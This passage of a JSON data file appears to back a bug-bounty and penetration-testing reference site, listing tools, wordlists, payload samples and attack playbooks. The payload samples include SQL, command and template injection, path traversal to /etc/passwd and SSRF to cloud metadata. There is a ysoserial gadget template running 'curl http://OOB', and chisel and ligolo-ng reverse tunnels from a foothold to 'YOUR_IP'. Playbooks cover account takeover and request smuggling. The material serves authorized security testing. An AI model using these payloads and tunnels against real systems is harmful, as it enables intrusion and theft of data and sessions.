desync exploitation.", "repo": "https://github.com/defparam/smuggler", "activity": "maintained", "stars": "2k+", "install": [ { "method": "git", "cmd": "git clone https://github.com/defparam/smuggler && cd smuggler" } ], "templates": [ { "label": "Test a host", "tpl": "python3 smuggler.py -u {url}", "fields": { "url": { "ph": "https://target.com/" } } } ], "related": [ "burpsuite", "h2csmuggler" ] }, { "slug": "h2csmuggler", "name": "h2csmuggler", "category": "smuggling", "tags": [ "h2c", "smuggling", "http2" ], "desc": "Tests for HTTP/2 cleartext (h2c) smuggling to bypass reverse-proxy access controls and reach restricted internal endpoints.", "repo": "https://github.com/BishopFox/h2csmuggler", "activity": "maintained", "stars": "1k+", "install": [ { "method": "git", "cmd": "git clone https://github.com/BishopFox/h2csmuggler && cd h2csmuggler/python && pip install -r requirements.txt" } ], "templates": [ { "label": "Attempt h2c upgrade", "tpl": "python3 h2csmuggler.py -x {url} {target}", "fields": { "url": { "ph": "https://edge.target.com" }, "target": { "ph": "http://target/admin" } } } ], "related": [ "smuggler", "burpsuite" ] }, { "slug": "graphql-cop", "name": "graphql-cop", "category": "graphql", "tags": [ "graphql", "audit", "misconfig" ], "desc": "Fast security auditor for GraphQL: checks introspection, batching, field suggestions, CSRF, and DoS-prone features in one pass.", "repo": "https://github.com/dolevf/graphql-cop", "activity": "maintained", "stars": "1k+", "install": [ { "method": "pip", "cmd": "pip install graphql-cop" } ], "templates": [ { "label": "Audit endpoint", "tpl": "graphql-cop -t {url}", "fields": { "url": { "ph": "https://target.com/graphql" } } } ], "related": [ "clairvoyance", "burpsuite" ] }, { "slug": "clairvoyance", "name": "clairvoyance", "category": "graphql", "tags": [ "graphql", "introspection", "schema" ], "desc": "Recovers a GraphQL schema even when introspection is disabled, by abusing field-suggestion error messages. Rebuilds the attack surface others can't see.", "repo": "https://github.com/nikitastupin/clairvoyance", "activity": "maintained", "stars": "2k+", "install": [ { "method": "pipx", "cmd": "pipx install clairvoyance" } ], "templates": [ { "label": "Rebuild schema", "tpl": "clairvoyance {url} -o schema.json -w {wordlist}", "fields": { "url": { "ph": "https://target.com/graphql" }, "wordlist": { "def": "graphql-words.txt" } } } ], "related": [ "graphql-cop" ] }, { "slug": "jwt_tool", "name": "jwt_tool", "category": "inject", "tags": [ "jwt", "auth", "tampering" ], "desc": "Swiss-army knife for JWTs: decode, tamper claims, and test the classic attacks — alg:none, key confusion (RS→HS), weak-secret cracking, and kid injection.", "repo": "https://github.com/ticarpi/jwt_tool", "docs": "https://github.com/ticarpi/jwt_tool/wiki", "activity": "maintained", "stars": "6k+", "install": [ { "method": "git", "cmd": "git clone https://github.com/ticarpi/jwt_tool && cd jwt_tool && pip install -r requirements.txt" } ], "templates": [ { "label": "Run all attacks", "tpl": "python3 jwt_tool.py {token} -M at", "fields": { "token": { "ph": "eyJ..." } } }, { "label": "Crack weak secret", "tpl": "python3 jwt_tool.py {token} -C -d {wordlist}", "fields": { "token": { "ph": "eyJ..." }, "wordlist": { "def": "rockyou.txt" } } } ], "related": [ "burpsuite", "dalfox" ] }, { "slug": "ysoserial", "name": "ysoserial", "category": "deserialize", "tags": [ "deserialization", "java", "gadgets", "rce" ], "desc": "Generates Java deserialization payloads from known gadget chains (CommonsCollections, etc.). The reference tool once you spot a Java object sink.", "repo": "https://github.com/frohoff/ysoserial", "activity": "maintained", "stars": "8k+", "install": [ { "method": "release", "cmd": "wget https://github.com/frohoff/ysoserial/releases/latest/download/ysoserial-all.jar" } ], "templates": [ { "label": "Generate gadget", "tpl": "java -jar ysoserial-all.jar {gadget} '{cmd}' | base64", "fields": { "gadget": { "def": "CommonsCollections6" }, "cmd": { "def": "curl http://OOB" } } } ], "related": [ "interactsh", "burpsuite" ] }, { "slug": "uncover", "name": "uncover", "category": "cloud", "tags": [ "shodan", "censys", "fofa", "asm", "projectdiscovery" ], "desc": "Queries Shodan, Censys, FOFA, Quake, and more from one CLI to surface a target's internet-exposed hosts without scanning them yourself.", "repo": "https://github.com/projectdiscovery/uncover", "activity": "active", "stars": "3k+", "install": [ { "method": "go", "cmd": "go install -v github.com/projectdiscovery/uncover/cmd/uncover@latest" }, { "method": "pdtm", "cmd": "pdtm -i uncover" } ], "templates": [ { "label": "Find exposed hosts", "tpl": "uncover -q '{query}' -silent", "fields": { "query": { "def": "ssl:\"target.com\"" } } } ], "related": [ "httpx", "asnmap", "tlsx" ] }, { "slug": "asnmap", "name": "asnmap", "category": "cloud", "tags": [ "asn", "cidr", "recon", "projectdiscovery" ], "desc": "Maps an organization (or ASN/IP) to its owned CIDR ranges — the fastest way to expand scope from a company name to owned IP space.", "repo": "https://github.com/projectdiscovery/asnmap", "activity": "active", "stars": "1k+", "install": [ { "method": "go", "cmd": "go install github.com/projectdiscovery/asnmap/cmd/asnmap@latest" } ], "templates": [ { "label": "Org → CIDRs", "tpl": "asnmap -org '{org}' -silent", "fields": { "org": { "ph": "TARGET-INC" } } } ], "related": [ "mapcidr", "naabu", "uncover" ] }, { "slug": "mapcidr", "name": "mapcidr", "category": "cloud", "tags": [ "cidr", "ip", "recon", "projectdiscovery" ], "desc": "Expands, aggregates, and slices CIDR ranges into IP lists for scanning. Pairs with asnmap to turn owned ranges into scannable hosts.", "repo": "https://github.com/projectdiscovery/mapcidr", "activity": "active", "stars": "1k+", "install": [ { "method": "go", "cmd": "go install -v github.com/projectdiscovery/mapcidr/cmd/mapcidr@latest" } ], "templates": [ { "label": "Expand CIDR", "tpl": "echo {cidr} | mapcidr -silent", "fields": { "cidr": { "def": "10.0.0.0/24" } } } ], "related": [ "asnmap", "naabu" ] }, { "slug": "tlsx", "name": "tlsx", "category": "recon", "tags": [ "tls", "certificates", "san", "projectdiscovery" ], "desc": "Fast TLS grabber that pulls SANs, issuers, and cert metadata — a rich, often-overlooked source of new subdomains and internal hostnames.", "repo": "https://github.com/projectdiscovery/tlsx", "activity": "active", "stars": "1k+", "install": [ { "method": "go", "cmd": "go install github.com/projectdiscovery/tlsx/cmd/tlsx@latest" } ], "templates": [ { "label": "Pull SAN names", "tpl": "tlsx -l {input} -san -silent -o tls-hosts.txt", "fields": { "input": { "def": "ips.txt" } } } ], "related": [ "cero", "httpx", "subfinder" ] }, { "slug": "cero", "name": "cero", "category": "recon", "tags": [ "tls", "certificates", "subdomains" ], "desc": "Scrapes domain names straight out of TLS certificates across IP ranges/ports — great for finding hosts that never appear in passive sources.", "repo": "https://github.com/glebarez/cero", "activity": "slow", "stars": "1k+", "install": [ { "method": "go", "cmd": "go install github.com/glebarez/cero@latest" } ], "templates": [ { "label": "Names from certs", "tpl": "cero {target} | anew certnames.txt", "fields": { "target": { "ph": "target.com" } } } ], "related": [ "tlsx", "subfinder" ] }, { "slug": "alterx", "name": "alterx", "category": "recon", "tags": [ "permutation", "subdomains", "wordlist", "projectdiscovery" ], "desc": "Generates smart subdomain permutations from patterns, so a resolver can find dev1/staging-api/etc. that pure bruteforce misses.", "repo": "https://github.com/projectdiscovery/alterx", "activity": "active", "stars": "1k+", "install": [ { "method": "go", "cmd": "go install github.com/projectdiscovery/alterx/cmd/alterx@latest" } ], "templates": [ { "label": "Permute → resolve", "tpl": "alterx -l {input} | dnsx -silent -o permuted.txt", "fields": { "input": { "def": "subs.txt" } } } ], "related": [ "puredns", "dnsx", "shuffledns" ] }, { "slug": "subzy", "name": "subzy", "category": "recon", "tags": [ "takeover", "subdomains", "fingerprint" ], "desc": "Purpose-built subdomain takeover checker with an up-to-date fingerprint set and low false positives. Complements nuclei's takeover templates.", "repo": "https://github.com/PentestPad/subzy", "activity": "maintained", "stars": "1k+", "install": [ { "method": "go", "cmd": "go install -v github.com/PentestPad/subzy@latest" } ], "templates": [ { "label": "Check list", "tpl": "subzy run --targets {input}", "fields": { "input": { "def": "subs.txt" } } } ], "related": [ "nuclei", "dnsx", "httpx" ] }, { "slug": "wafw00f", "name": "wafw00f", "category": "recon", "tags": [ "waf", "fingerprint", "recon" ], "desc": "Fingerprints which WAF/CDN sits in front of a target so you know what filtering you're up against before you start fuzzing.", "repo": "https://github.com/EnableSecurity/wafw00f", "activity": "maintained", "stars": "5k+", "install": [ { "method": "pipx", "cmd": "pipx install wafw00f" }, { "method": "pip", "cmd": "pip install wafw00f" } ], "templates": [ { "label": "Fingerprint WAF", "tpl": "wafw00f {url}", "fields": { "url": { "ph": "https://target.com" } } } ], "related": [ "httpx", "ffuf" ] }, { "slug": "chisel", "name": "chisel", "category": "pivot", "tags": [ "tunnel", "pivot", "socks", "post-ex" ], "desc": "Fast TCP/UDP tunnel over HTTP, secured by SSH. The standard way to pivot through a foothold and reach internal services during authorized testing.", "repo": "https://github.com/jpillora/chisel", "activity": "active", "stars": "14k+", "install": [ { "method": "go", "cmd": "go install github.com/jpillora/chisel@latest" }, { "method": "script", "cmd": "curl https://i.jpillora.com/chisel! | bash" } ], "templates": [ { "label": "Server (your box)", "tpl": "chisel server -p {port} --reverse", "fields": { "port": { "def": "8080" } } }, { "label": "Client → reverse SOCKS", "tpl": "chisel client {server}:{port} R:socks", "fields": { "server": { "ph": "YOUR_IP" }, "port": { "def": "8080" } } } ], "related": [ "ligolo-ng", "interactsh" ] }, { "slug": "ligolo-ng", "name": "ligolo-ng", "category": "pivot", "tags": [ "tunnel", "pivot", "tun", "post-ex" ], "desc": "Modern pivoting via a userland TUN interface — no SOCKS proxychains gymnastics. Cleaner and faster than legacy tunneling for reaching internal subnets.", "repo": "https://github.com/nicocha30/ligolo-ng", "activity": "active", "stars": "5k+", "install": [ { "method": "release", "cmd": "wget https://github.com/nicocha30/ligolo-ng/releases/latest/download/ligolo-ng_agent_linux_amd64.tar.gz" } ], "templates": [ { "label": "Proxy (your box)", "tpl": "./proxy -selfcert -laddr 0.0.0.0:{port}", "fields": { "port": { "def": "11601" } } }, { "label": "Agent (foothold)", "tpl": "./agent -connect {server}:{port} -ignore-cert", "fields": { "server": { "ph": "YOUR_IP" }, "port": { "def": "11601" } } } ], "related": [ "chisel" ] }, { "slug": "linpeas", "name": "linPEAS", "category": "privesc", "tags": [ "privesc", "linux", "enumeration", "post-ex" ], "desc": "Exhaustive Linux privilege-escalation enumeration — surfaces misconfigs, creds, SUID, and kernel exploits, color-coded by likelihood. The go-to after a foothold.", "repo": "https://github.com/carlospolop/PEASS-ng", "docs": "https://github.com/carlospolop/PEASS-ng/tree/master/linPEAS", "activity": "active", "stars": "17k+", "install": [ { "method": "curl", "cmd": "curl -L https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh -o linpeas.sh" } ], "templates": [ { "label": "Run enumeration", "tpl": "sh linpeas.sh | tee linpeas.txt", "fields": {} } ], "related": [ "pspy", "chisel" ] }, { "slug": "pspy", "name": "pspy", "category": "privesc", "tags": [ "privesc", "processes", "cron", "post-ex" ], "desc": "Watches processes, cron jobs, and file events in real time without root — perfect for catching privileged scripts and cron-triggered commands to hijack.", "repo": "https://github.com/DominicBreuker/pspy", "activity": "maintained", "stars": "5k+", "install": [ { "method": "release", "cmd": "wget https://github.com/DominicBreuker/pspy/releases/latest/download/pspy64 && chmod +x pspy64" } ], "templates": [ { "label": "Monitor", "tpl": "./pspy64 -pf -i 1000", "fields": {} } ], "related": [ "linpeas" ] } ], "wordlists": [ { "slug": "seclists", "name": "SecLists", "category": "meta", "desc": "The single most useful collection: discovery, fuzzing, passwords, usernames, payloads. If you install one thing, install this.", "source": "https://github.com/danielmiessler/SecLists", "size": "~1 GB", "tags": [ "all", "essential" ], "install": "git clone --depth 1 https://github.com/danielmiessler/SecLists.git" }, { "slug": "subdomains-top1m-5000", "name": "subdomains-top1million-5000.txt", "category": "dns", "desc": "Top 5k subdomain labels. Fast first-pass DNS bruteforce.", "source": "https://github.com/danielmiessler/SecLists/blob/master/Discovery/DNS/subdomains-top1million-5000.txt", "size": "50 KB", "tags": [ "dns", "subdomains", "quick" ], "install": "wget https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/DNS/subdomains-top1million-5000.txt" }, { "slug": "best-dns-wordlist", "name": "best-dns-wordlist.txt (Assetnote)", "category": "dns", "desc": "Assetnote's curated DNS wordlist built from real internet data. The go-to for serious subdomain bruteforcing.", "source": "https://wordlists.assetnote.io/", "size": "~90 MB", "tags": [ "dns", "subdomains", "assetnote" ], "install": "wget https://wordlists-cdn.assetnote.io/data/manual/best-dns-wordlist.txt" }, { "slug": "directory-list-2.3-medium", "name": "directory-list-2.3-medium.txt", "category": "content", "desc": "The classic DirBuster medium list for directory/file discovery. Balanced size and coverage.", "source": "https://github.com/danielmiessler/SecLists/blob/master/Discovery/Web-Content/directory-list-2.3-medium.txt", "size": "2 MB", "tags": [ "content", "directories" ], "install": "wget https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/Web-Content/directory-list-2.3-medium.txt" }, { "slug": "raft-medium-directories", "name": "raft-medium-directories.txt", "category": "content", "desc": "RAFT lists are ordered by real-world frequency, so hits come early. Great default for ffuf/feroxbuster.", "source": "https://github.com/danielmiessler/SecLists/tree/master/Discovery/Web-Content", "size": "300 KB", "tags": [ "content", "directories", "raft" ], "install": "wget https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/Web-Content/raft-medium-directories.txt" }, { "slug": "onelistforall", "name": "OneListForAll", "category": "content", "desc": "Six2dez's merged, deduped content-discovery megalist. One list to rule directory fuzzing.", "source": "https://github.com/six2dez/OneListForAll", "size": "~50 MB", "tags": [ "content", "fuzzing", "merged" ], "install": "git clone https://github.com/six2dez/OneListForAll" }, { "slug": "httparchive-apiroutes", "name": "httparchive_apiroutes (Assetnote)", "category": "params", "desc": "API routes and endpoints mined from the HTTP Archive. Excellent for finding hidden API surface.", "source": "https://wordlists.assetnote.io/", "size": "varies", "tags": [ "api", "endpoints", "assetnote" ], "install": "# Browse and download from https://wordlists.assetnote.io/" }, { "slug": "rockyou", "name": "rockyou.txt", "category": "passwords", "desc": "The legendary leaked password list. Baseline for password spraying/cracking exercises.", "source": "https://github.com/danielmiessler/SecLists/tree/master/Passwords/Leaked-Databases", "size": "133 MB", "tags": [ "passwords", "cracking" ], "install": "wget https://github.com/danielmiessler/SecLists/raw/master/Passwords/Leaked-Databases/rockyou.txt.tar.gz && tar -xzf rockyou.txt.tar.gz" }, { "slug": "resolvers", "name": "resolvers.txt (Trickest)", "category": "dns", "desc": "Frequently-updated list of validated public DNS resolvers for puredns/shuffledns. Stale resolvers ruin bruteforce accuracy — refresh often.", "source": "https://github.com/trickest/resolvers", "size": "small", "tags": [ "dns", "resolvers" ], "install": "wget https://raw.githubusercontent.com/trickest/resolvers/main/resolvers.txt" } ], "payloads": [ { "slug": "payloadsallthethings", "name": "PayloadsAllTheThings", "category": "meta", "desc": "The reference payload & bypass encyclopedia for nearly every web vuln class. Bookmark it.", "source": "https://github.com/swisskyrepo/PayloadsAllTheThings", "tags": [ "all", "essential" ], "samples": [] }, { "slug": "xss", "name": "XSS", "category": "xss", "desc": "Cross-site scripting probes — start with a harmless marker, then escalate to context-breaking payloads.", "source": "https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XSS%20Injection", "tags": [ "xss", "client-side" ], "samples": [ "", "\">", "'\">", "javascript:alert(1)//", "{{constructor.constructor('alert(1)')()}}" ] }, { "slug": "sqli", "name": "SQL Injection", "category": "sqli", "desc": "Detection and boolean/UNION probes. Confirm with sqlmap once a candidate reflects.", "source": "https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection", "tags": [ "sqli", "database" ], "samples": [ "' OR '1'='1", "' OR 1=1-- -", "1' ORDER BY 1-- -", "' UNION SELECT NULL,NULL-- -", "1 AND SLEEP(5)-- -" ] }, { "slug": "ssti", "name": "Server-Side Template Injection", "category": "ssti", "desc": "Polyglot and engine-specific probes. Start with the {{7*7}} / ${7*7} polyglot to detect the engine.", "source": "https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection", "tags": [ "ssti", "rce" ], "samples": [ "${7*7}", "{{7*7}}", "<%= 7*7 %>", "#{7*7}", "${{<%[%'\"}}%\\" ] }, { "slug": "lfi", "name": "Local File Inclusion / Path Traversal", "category": "lfi", "desc": "Traversal sequences and wrappers to read local files.", "source": "https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/File%20Inclusion", "tags": [ "lfi", "traversal" ], "samples": [ "../../../../etc/passwd", "....//....//....//etc/passwd", "%2e%2e%2f%2e%2e%2fetc%2fpasswd", "php://filter/convert.base64-encode/resource=index.php", "/etc/passwd%00" ] }, { "slug": "ssrf", "name": "Server-Side Request Forgery", "category": "ssrf", "desc": "Internal targets and metadata endpoints. Pair with an OOB/interactsh host for blind cases.", "source": "https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Request%20Forgery", "tags": [ "ssrf", "cloud" ], "samples": [ "http://127.0.0.1/", "http://localhost:80/", "http://169.254.169.254/latest/meta-data/", "http://[::1]/", "http://2130706433/" ] }, { "slug": "cmdi", "name": "Command Injection", "category": "cmdi", "desc": "Separators and substitution to break out into OS command execution. Confirm blind cases via OOB.", "source": "https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Command%20Injection", "tags": [ "rce", "os" ], "samples": [ "; id", "| id", "&& id", "$(id)", "`id`" ] } ], "pipelines": [ { "slug": "recon-to-nuclei", "name": "Recon → live hosts → nuclei", "level": "beginner", "desc": "The canonical bug-bounty one-liner: enumerate subdomains, resolve, probe live HTTP, and scan for known issues.", "tools": [ "subfinder", "dnsx", "httpx", "nuclei" ], "cmd": "subfinder -d {domain} -all -silent | dnsx -silent | httpx -silent | nuclei -severity critical,high -o nuclei.txt", "fields": { "domain": { "ph": "target.com" } } }, { "slug": "url-xss-hunt", "name": "URL corpus → XSS candidates", "level": "intermediate", "desc": "Collect historical URLs, filter for reflected-XSS-shaped params, inject a marker, and scan with dalfox.", "tools": [ "gau", "gf", "qsreplace", "dalfox" ], "cmd": "gau {domain} | gf xss | qsreplace 'FUZZ' | dalfox pipe -o xss.txt", "fields": { "domain": { "ph": "target.com" } } }, { "slug": "content-discovery", "name": "Content discovery on live hosts", "level": "beginner", "desc": "Fuzz directories/files across every live host with a frequency-ordered wordlist.", "tools": [ "httpx", "ffuf" ], "cmd": "ffuf -u {url}/FUZZ -w {wordlist} -mc 200,204,301,302,307,401,403 -o ffuf.json", "fields": { "url": { "ph": "https://target.com" }, "wordlist": { "def": "raft-medium-directories.txt" } } }, { "slug": "js-recon", "name": "JS recon for endpoints & secrets", "level": "intermediate", "desc": "Crawl a target, pull JS files, and parse them for hidden endpoints and API routes.", "tools": [ "katana", "getjs", "linkfinder" ], "cmd": "katana -u {url} -jc -silent | grep '\\.js$' | while read u; do python3 linkfinder.py -i \"$u\" -o cli; done", "fields": { "url": { "ph": "https://target.com" } } }, { "slug": "port-to-web", "name": "Ports → web services → scan", "level": "intermediate", "desc": "Scan for open ports, probe which speak HTTP, then run nuclei against those services.", "tools": [ "naabu", "httpx", "nuclei" ], "cmd": "naabu -host {domain} -top-ports 1000 -silent | httpx -silent | nuclei -severity critical,high,medium", "fields": { "domain": { "ph": "target.com" } } } ], "stacks": [ { "slug": "projectdiscovery-suite", "name": "ProjectDiscovery Suite", "level": "beginner", "desc": "The integrated PD toolkit — recon, probing, scanning — managed by pdtm. The fastest way to a working recon stack.", "tools": [ "subfinder", "dnsx", "naabu", "httpx", "katana", "nuclei", "notify", "interactsh" ], "install": "go install -v github.com/projectdiscovery/pdtm/cmd/pdtm@latest\npdtm -ia" }, { "slug": "tomnomnom-glue", "name": "tomnomnom Glue Kit", "level": "beginner", "desc": "The small Unix-y utilities that hold every pipeline together: dedup, grep-patterns, query rewriting, URL parsing.", "tools": [ "gf", "anew", "qsreplace", "unfurl", "waybackurls", "assetfinder" ], "install": "for t in gf anew qsreplace unfurl waybackurls assetfinder; do go install github.com/tomnomnom/$t@latest; done" }, { "slug": "web-fuzzing", "name": "Web Fuzzing Kit", "level": "intermediate", "desc": "Everything for content and parameter discovery plus an XSS scanner to act on the results.", "tools": [ "ffuf", "feroxbuster", "arjun", "dalfox", "gf", "qsreplace" ], "install": "go install github.com/ffuf/ffuf/v2@latest\ncargo install feroxbuster\npipx install arjun\ngo install github.com/hahwul/dalfox/v2@latest" } ], "playbooks": [ { "slug": "recon-methodology", "name": "Full Recon Methodology", "level": "beginner", "tags": [ "recon", "asset-discovery", "methodology" ], "summary": "End-to-end attack-surface mapping: from a root domain to a prioritized list of live, interesting hosts.", "steps": [ { "title": "Enumerate subdomains (passive)", "detail": "Aggregate multiple passive sources and dedup. Passive first — it's fast and stealthy.", "tools": [ "subfinder", "amass", "assetfinder", "anew" ], "cmd": "subfinder -d target.com -all -silent | anew subs.txt; assetfinder --subs-only target.com | anew subs.txt" }, { "title": "Bruteforce subdomains (active)", "detail": "Add coverage with a DNS wordlist and fresh resolvers, filtering wildcards.", "tools": [ "puredns" ], "cmd": "puredns bruteforce best-dns-wordlist.txt target.com -r resolvers.txt -w brute.txt" }, { "title": "Resolve & find live HTTP", "detail": "Resolve everything, then probe which hosts actually serve HTTP and enrich with title/tech.", "tools": [ "dnsx", "httpx" ], "cmd": "cat subs.txt brute.txt | dnsx -silent | httpx -sc -title -tech-detect -o live.txt" }, { "title": "Triage visually", "detail": "Screenshot everything and skim for admin panels, dev/staging, default installs, and odd tech.", "tools": [ "gowitness" ], "cmd": "gowitness scan file -f live.txt" }, { "title": "Scan for known issues", "detail": "Run nuclei across live hosts, starting at critical/high to keep noise down.", "tools": [ "nuclei" ], "cmd": "nuclei -l live.txt -severity critical,high -o nuclei.txt" } ], "tips": [ "Refresh your resolvers.txt regularly — stale resolvers cause false positives.", "Keep a per-target folder and use anew so re-runs only surface new assets.", "Staging/dev subdomains are gold — they're often less hardened." ], "references": [ "https://github.com/six2dez/reconftw", "https://docs.projectdiscovery.io/" ] }, { "slug": "subdomain-takeover", "name": "Subdomain Takeover", "level": "beginner", "tags": [ "takeover", "dns", "recon" ], "summary": "Find dangling DNS records pointing to de-provisioned cloud services you can re-claim.", "steps": [ { "title": "Gather subdomains & CNAMEs", "detail": "Collect subdomains and resolve their CNAME chains — takeovers live in dangling CNAMEs.", "tools": [ "subfinder", "dnsx" ], "cmd": "subfinder -d target.com -all -silent | dnsx -cname -resp -silent -o cnames.txt" }, { "title": "Detect fingerprints", "detail": "Scan for known takeover signatures (S3, GitHub Pages, Heroku, Azure, etc.) with nuclei's takeover templates.", "tools": [ "nuclei", "httpx" ], "cmd": "httpx -l cnames.txt -silent | nuclei -t http/takeovers/ -o takeover.txt" }, { "title": "Verify manually", "detail": "Confirm the service is unclaimed and the error page matches the fingerprint before claiming. Never disrupt a live service.", "tools": [], "cmd": "curl -s https://sub.target.com | grep -i 'NoSuchBucket\\|There isn.t a GitHub Pages site here'" } ], "tips": [ "A CNAME to a cloud provider + a service-specific error page = candidate.", "Report responsibly — claim only enough to prove impact (a benign PoC file)." ], "references": [ "https://github.com/EdOverflow/can-i-take-over-xyz" ] }, { "slug": "idor-hunting", "name": "IDOR & Broken Access Control", "level": "intermediate", "tags": [ "idor", "bac", "authz", "owasp-a01" ], "summary": "Systematically test whether one user can reach another user's objects or actions.", "steps": [ { "title": "Map object references", "detail": "Proxy the app and catalog every request carrying an ID, UUID, filename, or account reference.", "tools": [ "burpsuite", "caido" ], "cmd": "" }, { "title": "Set up two accounts", "detail": "Create User A and User B. Capture A's requests, then replay them as B (swap session, keep A's object IDs).", "tools": [ "burpsuite" ], "cmd": "" }, { "title": "Swap and observe", "detail": "Change IDs incrementally and via B's session. A 200 with A's data = IDOR. Test all verbs (GET/POST/PUT/DELETE).", "tools": [], "cmd": "" }, { "title": "Automate the sweep", "detail": "For numeric IDs, script the range and diff response sizes/status to spot leaks.", "tools": [ "ffuf" ], "cmd": "ffuf -u https://target.com/api/orders/FUZZ -w <(seq 1000 2000) -H 'Cookie: session=USER_B' -mc 200" } ], "tips": [ "Don't ignore UUIDs — they leak in other responses more often than you'd think.", "Test tenant boundaries and role escalation, not just user-to-user.", "Blind writes matter too: a successful DELETE/PUT on another's object is high impact." ], "references": [ "https://owasp.org/Top10/A01_2021-Broken_Access_Control/" ] }, { "slug": "account-takeover", "name": "Account Takeover", "level": "advanced", "tags": [ "ato", "auth", "logic" ], "summary": "Chain weaknesses in auth, reset, and session flows to seize another user's account.", "steps": [ { "title": "Map every auth surface", "detail": "Login, register, password reset, email/phone change, OAuth, MFA, and 'remember me'. Each is a candidate.", "tools": [ "burpsuite", "caido" ], "cmd": "" }, { "title": "Attack password reset", "detail": "Test host-header poisoning of reset links, token predictability/reuse, and reset-token leakage in responses.", "tools": [], "cmd": "" }, { "title": "Abuse response manipulation / OAuth", "detail": "Look for client-side auth decisions, OAuth redirect_uri flaws, and pre-account-takeover via unverified email.", "tools": [], "cmd": "" }, { "title": "Bypass MFA", "detail": "Check for OTP brute-force (no rate limit), response tampering, and backup-code enumeration.", "tools": [], "cmd": "" } ], "tips": [ "Host-header poisoning on reset emails is still shockingly common.", "Race conditions in reset/verify flows can bypass single-use tokens." ], "references": [ "https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures/" ] }, { "slug": "api-hunting", "name": "API Hunting Methodology", "level": "intermediate", "tags": [ "api", "rest", "graphql" ], "summary": "Discover, understand, and abuse API surface — usually where the real vulns hide.", "steps": [ { "title": "Discover endpoints", "detail": "Pull JS, historical URLs, and Swagger/OpenAPI docs to build the endpoint map.", "tools": [ "katana", "gau", "getjs", "linkfinder" ], "cmd": "katana -u https://target.com -jc -silent | anew urls.txt; gau target.com | anew urls.txt" }, { "title": "Find hidden parameters", "detail": "Infer undocumented parameters on interesting endpoints.", "tools": [ "arjun" ], "cmd": "arjun -u https://target.com/api/v1/user -oT params.txt" }, { "title": "Probe authz per endpoint", "detail": "Test every endpoint unauthenticated, as a low-priv user, and cross-tenant. BOLA/BFLA are the top API risks.", "tools": [ "burpsuite" ], "cmd": "" }, { "title": "Check versioning & docs", "detail": "Old versions (/api/v1 vs /v2) and exposed Swagger often reveal deprecated, less-protected routes.", "tools": [ "ffuf" ], "cmd": "ffuf -u https://target.com/api/FUZZ -w api-wordlist.txt -mc 200,401,403" } ], "tips": [ "GraphQL: try introspection, then batch/alias abuse and field-level authz.", "Mass assignment: add extra JSON fields (role, is_admin) and see if they stick." ], "references": [ "https://owasp.org/API-Security/editions/2023/en/0x11-t10/" ] }, { "slug": "ssrf-hunting", "name": "SSRF Hunting", "level": "advanced", "tags": [ "ssrf", "cloud", "oob", "owasp-a10" ], "summary": "Find server-side request forgery, then pivot to metadata and internal services.", "steps": [ { "title": "Find request-issuing features", "detail": "Webhooks, URL previews, PDF/image fetchers, import-from-URL, and SSO metadata endpoints all fetch server-side.", "tools": [], "cmd": "" }, { "title": "Set up OOB detection", "detail": "Use an interaction server to catch blind SSRF via DNS/HTTP callbacks.", "tools": [ "interactsh" ], "cmd": "interactsh-client -v" }, { "title": "Point inward", "detail": "Try localhost, link-local, and cloud metadata. Rotate encodings/redirects to beat naive filters.", "tools": [], "cmd": "curl 'https://target.com/fetch?url=http://169.254.169.254/latest/meta-data/'" }, { "title": "Escalate", "detail": "Cloud metadata → credentials; internal ports → admin panels and unauth services.", "tools": [ "nuclei" ], "cmd": "nuclei -u https://target.com -t http/vulnerabilities/ -tags ssrf" } ], "tips": [ "Bypass filters with decimal/hex IPs, IPv6, DNS rebinding, and open redirects.", "Always pair with OOB — many SSRFs are blind." ], "references": [ "https://owasp.org/Top10/A10_2021-Server-Side_Request_Forgery_%28SSRF%29/" ] }, { "slug": "http-request-smuggling", "name": "HTTP Request Smuggling", "level": "advanced", "tags": [ "smuggling", "desync", "http", "proxy" ], "summary": "Exploit disagreements between a front-end proxy and back-end server on where one request ends, to poison the connection of the next user.", "steps": [ { "title": "Identify a desync", "detail": "Send crafted Content-Length / Transfer-Encoding combinations and time the responses. A delay on a TE.CL/CL.TE probe indicates the back-end is waiting for bytes that never come.", "tools": [ "smuggler", "burpsuite" ], "cmd": "python3 smuggler.py -u https://target.com/" }, { "title": "Confirm CL.TE vs TE.CL", "detail": "Use Burp Repeater with HTTP/1.1 and disabled auto-Content-Length. Confirm by smuggling a partial request that prepends to the victim's next request.", "tools": [ "burpsuite" ], "cmd": "" }, { "title": "Try H2.CL / H2.TE downgrade", "detail": "If the edge speaks HTTP/2 but downgrades to HTTP/1.1 upstream, smuggle via ambiguous h2 headers. Also test h2c upgrade for access-control bypass.", "tools": [ "h2csmuggler" ], "cmd": "python3 h2csmuggler.py -x https://edge.target.com http://target/admin" }, { "title": "Weaponize", "detail": "Escalate to capturing other users' requests (session theft), bypassing front-end auth to reach internal paths, or reflected-XSS delivery via the poisoned socket.", "tools": [ "burpsuite" ], "cmd": "" } ], "tips": [ "Always use Burp's 'HTTP Request Smuggler' extension for reliable, non-destructive probes.", "Smuggling can affect other real users — keep payloads benign and coordinate with the program.", "Retry: results are timing/queue dependent, not always first-shot." ], "references": [ "https://portswigger.net/web-security/request-smuggling" ] }, { "slug": "web-cache-poisoning", "name": "Web Cache Poisoning & Deception", "level": "advanced", "tags": [ "cache", "poisoning", "headers", "xss" ], "summary": "Get a malicious response cached and served to other users, or trick the cache into storing sensitive pages.", "steps": [ { "title": "Find unkeyed inputs", "detail": "Identify headers/params that affect the response but aren't part of the cache key (X-Forwarded-Host, X-Forwarded-Scheme, custom headers). Use Param Miner to discover them.", "tools": [ "burpsuite" ], "cmd": "" }, { "title": "Prove reflection into cache", "detail": "Inject a marker via an unkeyed input, then request the page fresh (no injection) and confirm the marker persists via cache HIT headers (Age, X-Cache: hit).", "tools": [ "burpsuite" ], "cmd": "curl -s -H 'X-Forwarded-Host: evil.com' 'https://target.com/?cb=1' -I" }, { "title": "Escalate the payload", "detail": "Turn reflected 